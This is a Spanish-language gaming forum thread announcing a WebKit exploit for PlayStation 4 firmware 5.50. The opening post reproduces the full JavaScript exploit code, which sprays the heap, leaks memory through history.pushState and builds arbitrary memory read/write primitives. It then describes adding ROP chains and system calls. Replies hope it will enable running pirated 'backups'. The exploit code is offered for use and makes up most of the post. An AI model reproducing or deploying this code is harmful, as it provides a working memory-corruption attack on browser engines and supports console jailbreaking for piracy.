1. Este sitio usa cookies. Si continuas usando este sitio, estás aceptando el uso de nuestras cookies Asi como los Terminos y Reglas
    Descartar aviso
God Of War PS4
God Of War PS4
Far Cry 5 PS4
UFC 3 PS4
Fecha de lanzamiento: 27 de octubre de 2017 · Plataforma PC PS4 XOne
Descarga ya NBA 2K18! A que esperas

Noticias PS4 Qwertyoruiop integra los 3 primeros pasos y ejecución de código en el Exploit 5.50 de PS4

Tema en 'Noticias Scene PS4' iniciado por CYB3R, Mar 11, 2018.

  1. CYB3R

    CYB3R
    Administrador
    Staff MundoMania Administrador Uploader Desarrollador
    • 336/449

    Registrado:
    Sep 6, 2016
    Mensajes:
    2,188
    likes Recibidos:
    2,659
    Puntos:
    336
    Profesión:
    Cheff
    Ubicación:
    Nürnberg
    Pais:
    Alemania
    [​IMG]

    Como ya sabrás ayer, qwertyoruiop ha sacudido una vez más la scena de PlayStation 4 al destacar el hecho
    de que ahora tiene el control total sobre un exploit de webkit en el firmware 5.50. Pero se especula que esta parcheado


    Desarrollar un control total de un exploit webkit no es solo demostrar que uno tiene un acceso de exploit webkit, se
    necesitan varias etapas para abrir completamente las funciones del exploit, el 4.55 requiere 6 pasos y el 5.50 parece
    funcionar en el mismo principio.

    Codigo del Exploit 5.50 publicado por el
    CODE, HTML o PHP Insertado:
    function makeid() {
        var text = "";
        var possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
    
        for (var i = 0; i < 8; i++)
            text += possible.charAt(Math.floor(Math.random() * possible.length));
    
        return text;
    };
    
    var instancespr = [];
    
    for (var i = 0; i < 4096; i++) {
        instancespr = new Uint32Array(1);
        instancespr[makeid()] = 50057; /* spray 4-field Object InstanceIDs */
    }
    
    var _dview;
    
    function u2d(low, hi) {
        if (!_dview) _dview = new DataView(new ArrayBuffer(16));
        _dview.setUint32(0, hi);
        _dview.setUint32(4, low);
        return _dview.getFloat64(0);
    }
    var dgc = function() {
        for (var i = 0; i < 0x100; i++) {
            new ArrayBuffer(0x100000);
        }
    }
    
    function int64(low, hi) {
        this.low = (low >>> 0);
        this.hi = (hi >>> 0);
    
        this.add32inplace = function(val) {
            var new_lo = (((this.low >>> 0) + val) & 0xFFFFFFFF) >>> 0;
            var new_hi = (this.hi >>> 0);
    
            if (new_lo < this.low) {
                new_hi++;
            }
    
            this.hi = new_hi;
            this.low = new_lo;
        }
    
        this.add32 = function(val) {
            var new_lo = (((this.low >>> 0) + val) & 0xFFFFFFFF) >>> 0;
            var new_hi = (this.hi >>> 0);
    
            if (new_lo < this.low) {
                new_hi++;
            }
    
            return new int64(new_lo, new_hi);
        }
    
        this.sub32 = function(val) {
            var new_lo = (((this.low >>> 0) - val) & 0xFFFFFFFF) >>> 0;
            var new_hi = (this.hi >>> 0);
    
            if (new_lo > (this.low) & 0xFFFFFFFF) {
                new_hi--;
            }
    
            return new int64(new_lo, new_hi);
        }
    
        this.sub32inplace = function(val) {
            var new_lo = (((this.low >>> 0) - val) & 0xFFFFFFFF) >>> 0;
            var new_hi = (this.hi >>> 0);
    
            if (new_lo > (this.low) & 0xFFFFFFFF) {
                new_hi--;
            }
    
            this.hi = new_hi;
            this.low = new_lo;
        }
    
        this.and32 = function(val) {
            var new_lo = this.low & val;
            var new_hi = this.hi;
            return new int64(new_lo, new_hi);
        }
    
        this.and64 = function(vallo, valhi) {
            var new_lo = this.low & vallo;
            var new_hi = this.hi & valhi;
            return new int64(new_lo, new_hi);
        }
    
        this.toString = function(val) {
            val = 16;
            var lo_str = (this.low >>> 0).toString(val);
            var hi_str = (this.hi >>> 0).toString(val);
    
            if (this.hi == 0)
                return lo_str;
            else
                lo_str = zeroFill(lo_str, 8)
    
            return hi_str + lo_str;
        }
    
        this.toPacked = function() {
            return {
                hi: this.hi,
                low: this.low
            };
        }
    
        this.setPacked = function(pck) {
            this.hi = pck.hi;
            this.low = pck.low;
            return this;
        }
    
        return this;
    }
    
    function zeroFill(number, width) {
        width -= number.toString().length;
    
        if (width > 0) {
            return new Array(width + (/\./.test(number) ? 2 : 1)).join('0') + number;
        }
    
        return number + ""; // always return a string
    }
    
    var nogc = [];
    
    var fail = function() {
        alert.apply(null, arguments);
        throw "fail";
    }
    
    // Target JSObject for overlap
    var tgt = {
        a: 0,
        b: 0,
        c: 0,
        d: 0
    }
    
    var y = new ImageData(1, 0x4000)
    postMessage("", "*", [y.data.buffer]);
    
    // Spray properties to ensure object is fastmalloc()'d and can be found easily later
    var props = {};
    
    for (var i = 0;
        (i < (0x4000 / 2));) {
        props[i++] = {
            value: 0x42424242
        };
        props[i++] = {
            value: tgt
        };
    }
    
    var foundLeak = undefined;
    var foundIndex = 0;
    var maxCount = 0x100;
    
    while (foundLeak == undefined && maxCount > 0) {
        maxCount--;
    
        history.pushState(y, "");
    
        Object.defineProperties({}, props);
    
        var leak = new Uint32Array(history.state.data.buffer);
    
        for (var i = 0; i < leak.length - 6; i++) {
            if (
                leak == 0x42424242 &&
                leak[i + 0x1] == 0xFFFF0000 &&
                leak[i + 0x2] == 0x00000000 &&
                leak[i + 0x3] == 0x00000000 &&
                leak[i + 0x4] == 0x00000000 &&
                leak[i + 0x5] == 0x00000000 &&
                leak[i + 0x6] == 0x0000000E &&
                leak[i + 0x7] == 0x00000000 &&
                leak[i + 0xA] == 0x00000000 &&
                leak[i + 0xB] == 0x00000000 &&
                leak[i + 0xC] == 0x00000000 &&
                leak[i + 0xD] == 0x00000000 &&
                leak[i + 0xE] == 0x0000000E &&
                leak[i + 0xF] == 0x00000000
            ) {
                foundIndex = i;
                foundLeak = leak;
                break;
            }
        }
    }
    
    if (!foundLeak) {
        failed = true
        fail("Failed to find leak!")
    }
    
    var firstLeak = Array.prototype.slice.call(foundLeak, foundIndex, foundIndex + 0x40);
    var leakJSVal = new int64(firstLeak[8], firstLeak[9]);
    
    Array.prototype.__defineGetter__(100, () => 1);
    
    var f = document.body.appendChild(document.createElement('iframe'));
    var a = new f.contentWindow.Array(13.37, 13.37);
    var b = new f.contentWindow.Array(u2d(leakJSVal.low + 0x10, leakJSVal.hi), 13.37);
    
    var master = new Uint32Array(0x1000);
    var slave = new Uint32Array(0x1000);
    var leakval_u32 = new Uint32Array(0x1000);
    var leakval_helper = [slave, 2, 3, 4, 5, 6, 7, 8, 9, 10];
    
    // Create fake ArrayBufferView
    tgt.a = u2d(2048, 0x1602300);
    tgt.b = 0;
    tgt.c = leakval_helper;
    tgt.d = 0x1337;
    
    var c = Array.prototype.concat.call(a, b);
    document.body.removeChild(f);
    var hax = c[0];
    c[0] = 0;
    
    tgt.c = c;
    
    hax[2] = 0;
    hax[3] = 0;
    
    Object.defineProperty(Array.prototype, 100, {
        get: undefined
    });
    
    tgt.c = leakval_helper;
    var butterfly = new int64(hax[2], hax[3]);
    butterfly.low += 0x10;
    
    tgt.c = leakval_u32;
    var lkv_u32_old = new int64(hax[4], hax[5]);
    hax[4] = butterfly.low;
    hax[5] = butterfly.hi;
    // Setup read/write primitive
    
    tgt.c = master;
    hax[4] = leakval_u32[0];
    hax[5] = leakval_u32[1];
    
    var addr_to_slavebuf = new int64(master[4], master[5]);
    tgt.c = leakval_u32;
    hax[4] = lkv_u32_old.low;
    hax[5] = lkv_u32_old.hi;
    
    tgt.c = 0;
    hax = 0;
    
    var prim = {
        write8: function(addr, val) {
            master[4] = addr.low;
            master[5] = addr.hi;
    
            if (val instanceof int64) {
                slave[0] = val.low;
                slave[1] = val.hi;
            } else {
                slave[0] = val;
                slave[1] = 0;
            }
    
            master[4] = addr_to_slavebuf.low;
            master[5] = addr_to_slavebuf.hi;
        },
    
        write4: function(addr, val) {
            master[4] = addr.low;
            master[5] = addr.hi;
    
            slave[0] = val;
    
            master[4] = addr_to_slavebuf.low;
            master[5] = addr_to_slavebuf.hi;
        },
    
        read8: function(addr) {
            master[4] = addr.low;
            master[5] = addr.hi;
    
            var rtv = new int64(slave[0], slave[1]);
    
            master[4] = addr_to_slavebuf.low;
            master[5] = addr_to_slavebuf.hi;
    
            return rtv;
        },
    
        read4: function(addr) {
            master[4] = addr.low;
            master[5] = addr.hi;
    
            var rtv = slave[0];
    
            master[4] = addr_to_slavebuf.low;
            master[5] = addr_to_slavebuf.hi;
    
            return rtv;
        },
    
        leakval: function(jsval) {
            leakval_helper[0] = jsval;
            var rtv = this.read8(butterfly);
            this.write8(butterfly, new int64(0x41414141, 0xffff0000));
    
            return rtv;
        },
    
        createval: function(jsval) {
            this.write8(butterfly, jsval);
            var rt = leakval_helper[0];
            this.write8(butterfly, new int64(0x41414141, 0xffff0000));
            return rt;
        }
    };
    
    window.primitives = prim;
    if (window.postExpl) window.postExpl();

    Tambien puedes acceder desde tu consola PS4 FW 5.50

    Sin privilegios para Descargar. Tienes que Registrarte o iniciar sesión para poder ver los links!



    Después de anunciar ayer que tenía acceso al webkit con un exploit, el desarrollador nos informa que ahora tiene
    acceso a la ejecución del código. Antes de hacerlo, integró la primitiva de escritura / lectura de R / W y, por lo tanto,
    agregó la ejecución del código. A continuación, agregó la "programación orientada al retorno", una cadena ROP que se
    lanzará para llamar a las llamadas sys.

    Algunos se preguntan si este exploit sería más estable que el de 4.55, a lo que Specter responde que los errores de
    memoria no son completamente la consecuencia del exploit webkit, sino también de una parte del código del kernel de
    exploit, una parte del territorio de userland, lo que explica que será difícil ajustar estos "recuerdos insuficientes" en 4.55.

    De todos modos qwertyoruiop ha agregado una pantalla en la que muestra que no acaba de encontrar el exploit webkit
    5.50, Así que podemos ver que ha agregado kern.js y rop.js, y tiene acceso a la función fcall, puede iniciar los gadgets
    y abrir algunas llamadas de sistema. Con toda probabilidad, lanzó los primeros 3 cursos, recuerde que la hazaña
    completa se basa en 6 cursos.

    Tambien publico los codigos de estos avances

    Sin privilegios para Descargar. Tienes que Registrarte o iniciar sesión para poder ver los links!


    Sin privilegios para Descargar. Tienes que Registrarte o iniciar sesión para poder ver los links!

     
  2. ProyectModding

    ProyectModding
    Administrador
    Staff MundoMania Administrador Moderador Miembro
    • 51/75

    Registrado:
    Sep 20, 2017
    Mensajes:
    460
    likes Recibidos:
    183
    Puntos:
    51
    Género:
    Masculino
    Ubicación:
    Neptuno
    Pais:
    Jamaica
    Interesante, la Scene de ps4 avanza cada vez mas rapido. Gracias por traer esto bro. Salu2
     
    A CYB3R le gusta esto.
  3. alen2181

    alen2181 Recien llegado Miembro
    • 6/75

    Registrado:
    Ene 20, 2018
    Mensajes:
    14
    likes Recibidos:
    3
    Puntos:
    6
    Género:
    Masculino
    Ubicación:
    Cartago
    Pais:
    Costa Rica
    Ergo tendremos backups de 5.50 en 3,2,1...
     
  4. juanpalox

    juanpalox Recien llegado Miembro
    • 11/75

    Registrado:
    Feb 13, 2018
    Mensajes:
    15
    likes Recibidos:
    1
    Puntos:
    11
    Género:
    Masculino
    Ubicación:
    quillota
    Pais:
    Chile
    ojala se algo buno
     
  5. cronos002

    cronos002 Recien llegado Miembro
    • 6/75

    Registrado:
    Mar 9, 2018
    Mensajes:
    2
    likes Recibidos:
    1
    Puntos:
    6
    Género:
    Masculino
    Ubicación:
    Caracas
    Pais:
    Venezuela
    muy grandes avances en la 5.50 de seguir asi no falta mucho para un kernel exploit :D
     

Compartir esta página